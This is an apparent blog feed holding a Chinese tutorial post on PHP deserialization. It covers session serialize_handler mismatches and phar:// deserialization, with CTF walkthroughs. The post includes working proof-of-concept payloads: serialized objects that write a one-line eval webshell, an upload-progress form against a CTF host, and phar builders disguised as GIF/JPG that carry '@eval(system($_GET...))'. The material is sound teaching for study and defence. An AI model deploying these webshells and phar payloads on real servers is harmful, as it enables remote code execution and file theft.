class="keyword">session</span>.lazy_write</span><br><span class="line">配置会话数据在更改时是否被重写,默认启用</span><br></pre></td></tr></table></figure><h3 id="PHP-session存储与处理引擎">PHP session存储与处理引擎</h3><p>默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。而在PHP session序列化漏洞中,主要涉及的是session.serialize_handler配置项。</p><p>刚刚有说过session是存储在服务器端中的,默认是使用文件的形式进行存储,且存储的文件是由sess_sessionid来决定文件名,当然这个文件名也不是不变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID。在文件中,存储的session是以session的序列化值的形式存在。而对于存储的session序列化形式数据来说,使用的序列化处理器不同会导致序列化处理后的结果不同,其处理器的选择有上述所说的session_serialize_handler来定义,不同的处理器及其格式如下表所示:</p><table><thead><tr><th>处理器</th><th>序列化格式</th></tr></thead><tbody><tr><td>php</td><td>session名 +</td></tr><tr><td>php_binary</td><td>session名长度对应的ascii码转为的字符 + session名 + 经过PHP serialize()函数序列化处理后的字符串</td></tr><tr><td>php_serialize</td><td>经过PHP serialize()函数序列haul处理后的字符串</td></tr></tbody></table><p>下面看下这三个不同的序列化处理器的使用示例,假设传入的数据为’xiaoZisacaiji’:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//1.php处理器</span></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>,<span class="string">'php'</span>);<span class="comment">//设置php序列化处理器</span></span><br><span class="line">session_start();<span class="comment">//session开始</span></span><br><span class="line">$_SESSION[<span class="string">'session_php'</span>] = $_GET[<span class="string">'session'</span>];<span class="comment">//获取用户传来的session信息</span></span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//序列化处理后结果:</span></span><br><span class="line">session_php|s:<span class="number">13</span>:<span class="string">"xiaoZisacaiji"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//其中session为session名,| 后为get传过来的session信息经过序列化的结果</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//2.php_binary处理器</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>,<span class="string">'php_binary'</span>);</span><br><span class="line">session_start();</span><br><span class="line">$_SESSION[<span class="string">'session_php_binary_test_test_test_test'</span>] = $_GET[<span class="string">'session'</span>];</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//序列化处理后结果:</span></span><br><span class="line">&session_php_binary_test_test_test_test:s:<span class="number">13</span>:<span class="string">"xiaoZisacaiji"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//其中,因为session_php...test字符长度为38,则对应ascii码的字符为 &</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//3.php_serialize处理器</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>,<span class="string">'php_serialize'</span>);</span><br><span class="line">session_start();</span><br><span class="line">$_SESSION[<span class="string">'session'</span>] = $_GET[<span class="string">'session'</span>];</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line">序列化处理后结果为:</span><br><span class="line">a:<span class="number">1</span>:{s:<span class="number">7</span>:<span class="string">"session"</span>;s:<span class="number">13</span>:<span class="string">"xiaoZisacaiji"</span>}</span><br></pre></td></tr></table></figure><p>说到这里,还是和之前讨论序列化一样的思路,服务器会读取并使用发送过去的session信息,那么是否可以在用户端进行修改,传入特定的session信息,从而传入一些可被利用的后门或者其余恶意代码,从而达到攻击目的呢?答案是,可以的!如果网站序列化并存储session与反序列化并读取session的方式不同,就可能导致漏洞的产生。</p><h3 id="PHP-session序列化漏洞">PHP session序列化漏洞</h3><p>这里直接结合一个漏洞实例来进行讲解,下面是示例代码:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//存储session页面 session.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>,<span class="string">'php_serialize'</span>);</span><br><span class="line">session_start();</span><br><span class="line">$_SESSION[<span class="string">'session'</span>] = $_GET[<span class="string">'session'</span>];</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//漏洞页面 test.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>,<span class="string">'php'</span>);</span><br><span class="line">session_start();</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">xiaoZ</span></span>{</span><br><span class="line"> <span class="keyword">var</span> $a;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"> $fp = fopen(<span class="string">"../WWW/test/index.php"</span>,<span class="string">"w"</span>);</span><br><span class="line"> fputs($fp,<span class="keyword">$this</span>->a);</span><br><span class="line"> fclose($fp);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>通过session.php可以进行session信息的传入和存储,后面的test则是对序列化结果进行处理,由上述看到的两种php session处理器的处理不同可得,如果在签名传入一个包含 ‘|’ 符合的session信息,则在服务器对session信息进行处理时,新的序列化处理反格式会将 ‘|’ 后的值当成session的key值再进行序列化,从而将这一个类进行序列化,由此,在这里我们可以传入poc,如下:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//session.php页面传入</span></span><br><span class="line">a:<span class="number">1</span>:{s:<span class="number">7</span>:<span class="string">"session"</span>;s:<span class="number">50</span>:<span class="string">"|O:5:"</span>xiaoZ<span class="string">":1:{s:1:"</span>a<span class="string">";s:17:"</span><span class="meta"><?php</span> phpinfo()<span class="meta">?></span><span class="string">";}"</span>;}</span><br><span class="line"></span><br><span class="line"><span class="comment">//test.php页面处理后</span></span><br><span class="line">a = <span class="string">'<?php phpinfo()?>'</span> ;</span><br><span class="line"></span><br><span class="line"><span class="comment">//即后续服务器对session进行处理时,会将phpinfo() 信息写入到上述test.php中的 "../WWW/test/index.php" 中。</span></span><br></pre></td></tr></table></figure><p>上述示例中,只是传入一个phpinfo(),那么如果是传入一句话木马的话,则可以getshell了。比如将上述session.php页面的poc中的 “<?php phpinfo()?>” 修改为 “<?php eval(@$_POST['a']);?>”,即可将一句话木马写入到 ‘index.php’ 中。</p><p>再看一个示例,该示例为jarvisoj-web中的一道(session反序列化题)[<a href="http://web.jarvisoj.com:32784/index.php" target="_blank" rel="noopener">http://web.jarvisoj.com:32784/index.php</a>],题目给出了 index.php 源码:</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php"><span class="comment">//A webshell is wait for you</span></span></span><br><span class="line"><span class="php">ini_set(<span class="string">'session.serialize_handler'</span>, <span class="string">'php'</span>);</span></span><br><span class="line"><span class="php">session_start();</span></span><br><span class="line"><span class="php"><span class="class"><span class="keyword">class</span> <span class="title">OowoO</span></span></span></span><br><span class="line"><span class="php">{</span></span><br><span class="line"><span class="php"> <span class="keyword">public</span> $mdzz;</span></span><br><span class="line"><span class="php"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span></span><br><span class="line"><span class="php"> {</span></span><br><span class="line"><span class="php"> <span class="keyword">$this</span>->mdzz = <span class="string">'phpinfo();'</span>;</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"></span><br><span class="line"><span class="php"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span></span><br><span class="line"><span class="php"> {</span></span><br><span class="line"><span class="php"> <span class="keyword">eval</span>(<span class="keyword">$this</span>->mdzz);</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'phpinfo'</span>]))</span></span><br><span class="line"><span class="php">{</span></span><br><span class="line"><span class="php"> $m = <span class="keyword">new</span> OowoO();</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php"><span class="keyword">else</span></span></span><br><span class="line"><span class="php">{</span></span><br><span class="line"><span class="php"> highlight_string(file_get_contents(<span class="string">'index.php'</span>));</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>可以看到这里设置的php session处理器为php,另外通过get传入phpinfo时,会将OowoO这个类进行实例化并访问phpinfo()。这个例题中,还使用了另一个php session的配置——session.upload_progress.enabled(PHP BUG #71101),该配置用于检测文件上传的进度,在配置为on时,如果在一个文件上传的同时post一个与session.upload_progress.name同名的变量,则PHP会在$_SESSION中添加一条数据。而我们则可以利用这一点来对session进行设置。下面poc来源于网络:</p><p>列出当前目录:</p><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line"><form action="http://web.jarvisoj.com:32784/index.php" <span class="keyword">method</span>="POST" enctype="multipart/form-data"></span><br><span class="line"> <<span class="keyword">input</span> <span class="keyword">type</span>="hidden" <span class="type">name</span>="PHP_SESSION_UPLOAD_PROGRESS" <span class="keyword">value</span>="|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}" /></span><br><span class="line"> <<span class="keyword">input</span> <span class="keyword">type</span>="file" <span class="type">name</span>="file" /></span><br><span class="line"> <<span class="keyword">input</span> <span class="keyword">type</span>="submit" /></span><br><span class="line"></form></span><br></pre></td></tr></table></figure><p>上传该poc后,在原本应该返回的phpinfo页面中会出现当前路径的信息,由此可以找到flag文件,直接读取即可:</p><figure class="highlight groovy"><table><tr><td class="code"><pre><span class="line">|<span class="string">O:</span><span class="number">5</span>:<span class="string">"OowoO"</span>:<span class="number">1</span>:{<span class="string">s:</span><span class="number">4</span>:<span class="string">"mdzz"</span>;<span class="string">s:</span><span class="number">88</span>:<span class="string">"print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));"</span>;}</span><br></pre></td></tr></table></figure><p>由此可以得到flag。</p><p>另外提供一个示例,这是2019巅峰极客大赛的web题——lol,这道题目一样利用了php session反序列化漏洞及PHP BUG #71101。其源码环境可到<a href="https://github.com/xiaoZ-hc/Vulnerability-Repository/tree/master/2019%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2_web_lol_%E6%BA%90%E7%A0%81" target="_blank" rel="noopener">此处</a>下载</p><h2 id="phar伪协议扩展php反序列化">phar伪协议扩展php反序列化</h2><h3 id="phar协议">phar协议</h3><p>在之前对SSRF的介绍中,有过对一些协议(file://、php://等)的介绍,现在需要介绍的是另外一个协议,phar伪协议。该协议也是一种流包装器,主要是用于进行文档的压缩,可以将多个文件归档到同一个文件中,并且能够不经过解压就被php访问并执行,或许可以将其名称进行拆分 “php + tar” 更容易理解?</p><p>在php文档中,对于phar的结构进行了规定,其结构由以下四部分组成:</p><ul><li>stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;</li><li>manifest 压缩文件的属性等信息,以序列化存储;</li><li>contents 压缩文件的内容;</li><li>signature 签名,放在文件末尾;</li></ul><p>其中文件标识必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制。另外,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。</p><p>看一个创建phar文件的示例:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//phar.phar</span></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">TestObject</span> </span>{</span><br><span class="line"> }</span><br><span class="line"> @unlink(<span class="string">"phar.phar"</span>);</span><br><span class="line">$phar = <span class="keyword">new</span> Phar(<span class="string">"phar.phar"</span>); <span class="comment">//后缀名必须为phar</span></span><br><span class="line">$phar->startBuffering();</span><br><span class="line">$phar->setStub(<span class="string">"<?php __HALT_COMPILER(); ?>"</span>); <span class="comment">//设置stub</span></span><br><span class="line">$o = <span class="keyword">new</span> TestObject();</span><br><span class="line">$o -> data=<span class="string">'xiaoZisacaiji'</span>;</span><br><span class="line">$phar->setMetadata($o); <span class="comment">//将自定义的meta-data存入manifest</span></span><br><span class="line">$phar->addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>); <span class="comment">//添加要压缩的文件</span></span><br><span class="line"><span class="comment">//签名自动计算</span></span><br><span class="line">$phar->stopBuffering();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>通过上述代码,则可以创建出一个phar文件,通过hexo打开,可以看到其中最开始的字段为 “<?php _HALT_COMPILER();” ,而中间数据中则包含有上述对象序列化后的数据字段。这里的phar文件中,最开始的字段是可以自行构造的,也就是上述介绍中所说的,可以利用这样的特点,伪造一个图片或者pdf文件来绕过一些上传限制,如只需要将上述代码改为如下所示即可将phar文件伪造为图片:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//phar.phar</span></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TestObject</span> </span>{</span><br><span class="line">}</span><br><span class="line">@unlink(<span class="string">"phar.phar"</span>);</span><br><span class="line">$phar = <span class="keyword">new</span> Phar(<span class="string">"phar.phar"</span>);<span class="comment">//后缀名必须为phar</span></span><br><span class="line"> $phar->startBuffering();</span><br><span class="line">$phar->setStub(<span class="string">"GIF89a"</span>.<span class="string">"<?php __HALT_COMPILER(); ?>"</span>); <span class="comment">//设置stub</span></span><br><span class="line">$o = <span class="keyword">new</span> TestObject();</span><br><span class="line">$o -> data=<span class="string">'xiaoZisacaiji!!!'</span>;</span><br><span class="line">$phar->setMetadata($o); <span class="comment">//将自定义的meta-data存入manifest</span></span><br><span class="line">$phar->addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>);<span class="comment">//添加要压缩的文件</span></span><br><span class="line"><span class="comment">//签名自动计算</span></span><br><span class="line"> $phar->stopBuffering();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>通过上面这个例子,是否可以看到和之前所述漏洞利用的相同点?利用在序列化和反序列化中的不同,构造数据传入,从而达成攻击的目的?</p><h3 id="phar反序列化利用">phar反序列化利用</h3><p>一样的,利用几个示例来进行理解,示例一(来源2018柏鹭杯 web2-Phar):</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//test1.php</span></span><br><span class="line"><span class="comment">//该段代码只是漏洞利用处的代码,另外有一处文件上传点,但是限制文件上传类型为gif图片</span></span><br><span class="line"><span class="comment">//另外,该文件上传点未对上传的文件内容进行校验</span></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'filename'</span>])){</span><br><span class="line">$filename = $_GET[<span class="string">'filename'</span>];</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyClass</span></span>{</span><br><span class="line"><span class="keyword">var</span> $output = <span class="string">'echo "hahaha";'</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">eval</span>(<span class="keyword">$this</span> -> output);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">file_exists($filename);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看到上述代码,关键在于这一段语句 “file_exists($filename);” ,如果可以绕过文件上传点,则可以利用反序列化生成一个phar文件,而这个phar文件则是php可以执行的,则可以在其中写入一句话木马,从而getshell。其poc如下:</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php"><span class="class"><span class="keyword">class</span> <span class="title">MyClass</span></span>{</span></span><br><span class="line"><span class="php"><span class="keyword">var</span> $output = <span class="string">'@eval(system($_GET["a"]));'</span>;</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php">$payload = <span class="keyword">new</span> MyClass();</span></span><br><span class="line"><span class="php">unlink(<span class="string">"temp.phar"</span>);</span></span><br><span class="line"><span class="php">$phar = <span class="keyword">new</span> Phar(<span class="string">"temp.phar"</span>);</span></span><br><span class="line"><span class="php">$phar->setStub(<span class="string">"<?php __HALT_COMPILER(); ?>"</span>); </span></span><br><span class="line"><span class="php">$phar->setMetadata($payload);</span></span><br><span class="line"><span class="php">$phar->addFromString(<span class="string">'test.txt'</span>, <span class="string">'Hello world!'</span>);</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>用上述代码构建一个phar文件,再将其后缀名修改为gif,则可以绕过上传,上传成功后直接访问该gif文件,并利用传入的一句话木马getshell,拿到flag。</p><p>由这个例子,可以对phar反序列化漏洞的利用有一个初步的了解,而对于这样的利用过程来说,一般需要满足以下条件:</p><ul><li>phar文件要能够上传到服务器端</li><li>要有可用的魔术方法作为"跳板"</li><li>要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()</li><li>文件操作函数的参数可控,且:phar等特殊字符没有被过滤</li></ul><p>继续看示例二(来源 CISCN2019 华北赛区 Day1 Web1):</p><figure class="highlight stata"><table><tr><td class="code"><pre><span class="line"><span class="comment">//题目中有一个download.php,可以在这一页面下载时抓包修改文件名,将源码down下来,主要有以下页面:</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span>.php</span><br><span class="line">delete.php</span><br><span class="line">download.php</span><br><span class="line">index.php</span><br><span class="line">login.php</span><br><span class="line">upload.php</span><br><span class="line"></span><br><span class="line"><span class="comment">//upload.php中存在文件上传点,且限定文件上传类型为jpg</span></span><br><span class="line"><span class="comment">//漏洞主要存在于delete.php和class.php中</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//class.php关键代码</span></span><br><span class="line"></span><br><span class="line">public function __destruct() {</span><br><span class="line"> <span class="variable">$table</span> = '<div id=<span class="string">"container"</span> <span class="keyword">class</span>=<span class="string">"container"</span>><div <span class="keyword">class</span>=<span class="string">"table-responsive"</span>><<span class="keyword">table</span> id=<span class="string">"table"</span> <span class="keyword">class</span>=<span class="string">"table table-bordered table-hover sm-font"</span>>';</span><br><span class="line"> <span class="variable">$table</span> .= '<thead><tr>';</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$this</span>->funcs <span class="keyword">as</span> <span class="variable">$func</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= '<th scope=<span class="string">"col"</span> <span class="keyword">class</span>=<span class="string">"text-center"</span>>' . htmlentities(<span class="variable">$func</span>) . '</th>';</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= '<th scope=<span class="string">"col"</span> <span class="keyword">class</span>=<span class="string">"text-center"</span>>Opt</th>';</span><br><span class="line"> <span class="variable">$table</span> .= '</thead><tbody>';</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$this</span>->results <span class="keyword">as</span> <span class="variable">$filename</span> => <span class="variable">$result</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= '<tr>';</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$result</span> <span class="keyword">as</span> <span class="variable">$func</span> => <span class="variable">$value</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= '<td <span class="keyword">class</span>=<span class="string">"text-center"</span>>' . htmlentities(<span class="variable">$value</span>) . '</td>';</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= '<td <span class="keyword">class</span>=<span class="string">"text-center"</span> filename=<span class="string">"' . htmlentities($filename) . '"</span>><a href=<span class="string">"#"</span> <span class="keyword">class</span>=<span class="string">"download"</span>>下载</a> / <a href=<span class="string">"#"</span> <span class="keyword">class</span>=<span class="string">"delete"</span>>删除</a></td>';</span><br><span class="line"> <span class="variable">$table</span> .= '</tr>';</span><br><span class="line"> }</span><br><span class="line"> echo <span class="variable">$table</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">public function detele() {</span><br><span class="line"> unlink(<span class="variable">$this</span>->filename);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//delete.php关键代码</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span> <span class="string">"class.php"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">chdir</span>(<span class="variable">$_SESSION</span>['sandbox']);</span><br><span class="line"><span class="variable">$file</span> = new <span class="keyword">File</span>();</span><br><span class="line"><span class="variable">$filename</span> = (string) <span class="variable">$_POST</span>['filename'];</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">strlen</span>(<span class="variable">$filename</span>) < 40 && <span class="variable">$file</span>-><span class="keyword">open</span>(<span class="variable">$filename</span>)) {</span><br><span class="line"> <span class="variable">$file</span>->detele();</span><br><span class="line"> Header(<span class="string">"Content-type: application/json"</span>);</span><br><span class="line"> <span class="variable">$response</span> = array(<span class="string">"success"</span> => true, <span class="string">"error"</span> => <span class="string">""</span>);</span><br><span class="line"> echo json_encode(<span class="variable">$response</span>);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> Header(<span class="string">"Content-type: application/json"</span>);</span><br><span class="line"> <span class="variable">$response</span> = array(<span class="string">"success"</span> => false, <span class="string">"error"</span> => <span class="string">"File not exist"</span>);</span><br><span class="line"> echo json_encode(<span class="variable">$response</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>对上述代码进行分析,可以看到,在class.php中的Filelist类中的__destruct可以读取任意文件,而class.php中的delete函数又使用了unlink函数,且被delete.php调用,于是可以通过上传符合上传文件类型的文件,并将命令写入在文件中,上传成功后删除文件,从而在调用delete函数时触发反序列化漏洞,读取flag文件。构造phar文件的poc如下,生成后需要将其修改为jpg文件上传:</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php"> <span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span></span><br><span class="line"><span class="php"> <span class="keyword">public</span> $db;</span></span><br><span class="line"><span class="php"> } </span></span><br><span class="line"><span class="php"> <span class="class"><span class="keyword">class</span> <span class="title">File</span></span>{</span></span><br><span class="line"><span class="php"> <span class="keyword">public</span> $filename;</span></span><br><span class="line"><span class="php"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($name)</span></span>{</span></span><br><span class="line"><span class="php"> <span class="keyword">$this</span>->filename=$name;</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> <span class="class"><span class="keyword">class</span> <span class="title">FileList</span> </span>{</span></span><br><span class="line"><span class="php"> <span class="keyword">private</span> $files;</span></span><br><span class="line"><span class="php"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>{</span></span><br><span class="line"><span class="php"> <span class="keyword">$this</span>->files=<span class="keyword">array</span>(<span class="keyword">new</span> File(<span class="string">'/flag.txt'</span>));</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> } </span></span><br><span class="line"><span class="php"> $o = <span class="keyword">new</span> User();</span></span><br><span class="line"><span class="php"> $o->db =<span class="keyword">new</span> FileList();</span></span><br><span class="line"><span class="php"> @unlink(<span class="string">"phar.phar"</span>);</span></span><br><span class="line"><span class="php"> $phar = <span class="keyword">new</span> Phar(<span class="string">"phar.phar"</span>);</span></span><br><span class="line"><span class="php"> $phar->startBuffering();</span></span><br><span class="line"><span class="php"> $phar->setStub(<span class="string">"<?php __HALT_COMPILER(); ?>"</span>);</span></span><br><span class="line"><span class="php"> $phar->setMetadata($o);</span></span><br><span class="line"><span class="php"> $phar->addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>); </span></span><br><span class="line"><span class="php"> $phar->stopBuffering();</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>emmm,或许我讲清楚了?好吧应该没有,主要还是要关注上面所说的几个符合利用的条件吧,上面的两个示例其实都是可以在里面找到符合上述所说条件的地方,因此可以利用其进行phar反序列化利用,从而实现攻击目标。</p><p>最后,意犹未尽的话,可以自己试试示例三(来源 HITCON 2017 Baby^H Master PHP),题目<a href="https://github.com/xiaoZ-hc/Vulnerability-Repository/tree/master/HITCON2017%20Baby%5EH%20Master%20PHP_%E9%95%9C%E5%83%8F" target="_blank" rel="noopener">下载地址</a>。</p>]]></content>
<summary type="html">
接上一篇《PHP反序列化总结(一)》,前一篇对于序列化、PHP序列化与反序列化、PHP魔法函数、POP链进行了介绍,这篇将继续对session序列化、phar伪协议触发PHP反序列化等进行介绍。
</summary>
<category term="Web漏洞介绍" scheme="http://www.xiaozblog.top/categories/Web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web漏洞" scheme="http://www.xiaozblog.top/tags/Web%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.xiaozblog.top/tags/PHP/"/>
<category term="反序列化" scheme="http://www.xiaozblog.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>PHP反序列化总结(一)-小白文</title>
<link href="http://www.xiaozblog.top/2019/09/23/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93(%E4%B8%80)-%E5%B0%8F%E7%99%BD%E6%96%87/"/>
<id>http://www.xiaozblog.top/2019/09/23/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93(%E4%B8%80)-%E5%B0%8F%E7%99%BD%E6%96%87/</id>
<published>2019-09-23T06:13:53.000Z</published>
<updated>2020-09-03T02:51:56.000Z</updated>
<content type="html"><![CDATA[<p>接之前写的关于SSRF漏洞的介绍,之前写完SSRF篇,激起了自己想把这些漏洞都系统性总结下的兴趣,后续会对于一些其他的漏洞也进行一些介绍,这个系列的更偏向于对于没有基础或者基础较弱的人的科普。更加深入的东西,会在一些其他wp或博客中进行介绍。另外,这一篇博客中不涉及对session序列化、phar伪协议触发PHP反序列化等的介绍,将会在第二部分中进行总结。</p><h2 id="序列化与反序列化">序列化与反序列化</h2><p>来自维基:在计算机科学的数据处理中,序列化是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。依照序列化格式重新获取字节的结果时,可以利用它来产生与原始对象相同语义的副本。对于许多对象,像是使用大量引用的复杂对象,这种序列化重建的过程并不容易。面向对象中的对象序列化,并不概括之前原始对象所关系的函数。这种过程也称为对象编组(marshalling)。从一系列字节提取数据结构的反向操作,是反序列化(也称为解编组、deserialization、unmarshalling)。</p><p>序列化在计算机科学中通常有以下定义:<br>对同步控制而言,表示强制在同一时间内进行单一访问。<br>在数据储存与发送的部分是指将一个对象存储至一个存储介质,例如文件或是存储器缓冲等,或者透过网络发送数据时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间发送对象,以及服务器将对象存储到文件或数据库。相反的过程又称为反序列化。</p><p>另一个比较重要的概念为序列化协议,在编程语言中,变量和实例对应的,是一些有意义的数据。这些数据,在不同编程语言中,可能有不一样的表现;在不同操作系统中,也可能有不一样的形式。现代计算机应用,不可避免地会涉及到多个模块/程序之间的数据交换、不同语言之间的相互协作、计算机之间的数据交互。如果依着操作系统和编程语言的特性,用不同的形式去实现同样的数据,那整个计算机世界就会乱了套了。</p><p>数据的序列化和反序列化,就是为了解决这个问题而诞生的。</p><p>序列化是说,将变量和实例这些数据,依照某种约定,转化(通常伴随着压缩)为一种通用的数据格式;转化后的数据,可以用来储存或者传输,以备下次读取使用。其中提到的格式可以是二进制的,也可以是字符串式的。反序列化,就是上述过程的补集:将序列化的数据读入,解析为编程语言可识别的数据结构的过程。</p><p>通俗的来说,序列化的意思就是将编程中的数据结构或者对象(类)通过某种方法将其转化为另外一种有特殊格式的字符串,这种字符串可以用来进行重建转化前的数据结构或对象。在这里面,转化的方法就叫做序列化,而将转化之后的特殊格式的字符串还原的操作叫做反序列化。目前很多编程语言都支持序列化,如C/C++、Java、Perl、PHP、Python、Delphi、OCaml等,本文主要介绍PHP中的序列化与反序列化,这也是在做CTF Web题中较常碰见的问题。</p><h2 id="PHP序列化">PHP序列化</h2><p>这里先对PHP中的序列化进行介绍,其余编程语言的大体上是类似的形式,只是实现方式上大同小异。<br>之前说过,序列化其实就是将对象转为字符串,那么先看看PHP中的类的格式:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span> //类定义</span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> $flag = <span class="string">'xiaoZisacaiji'</span>;</span><br><span class="line"> 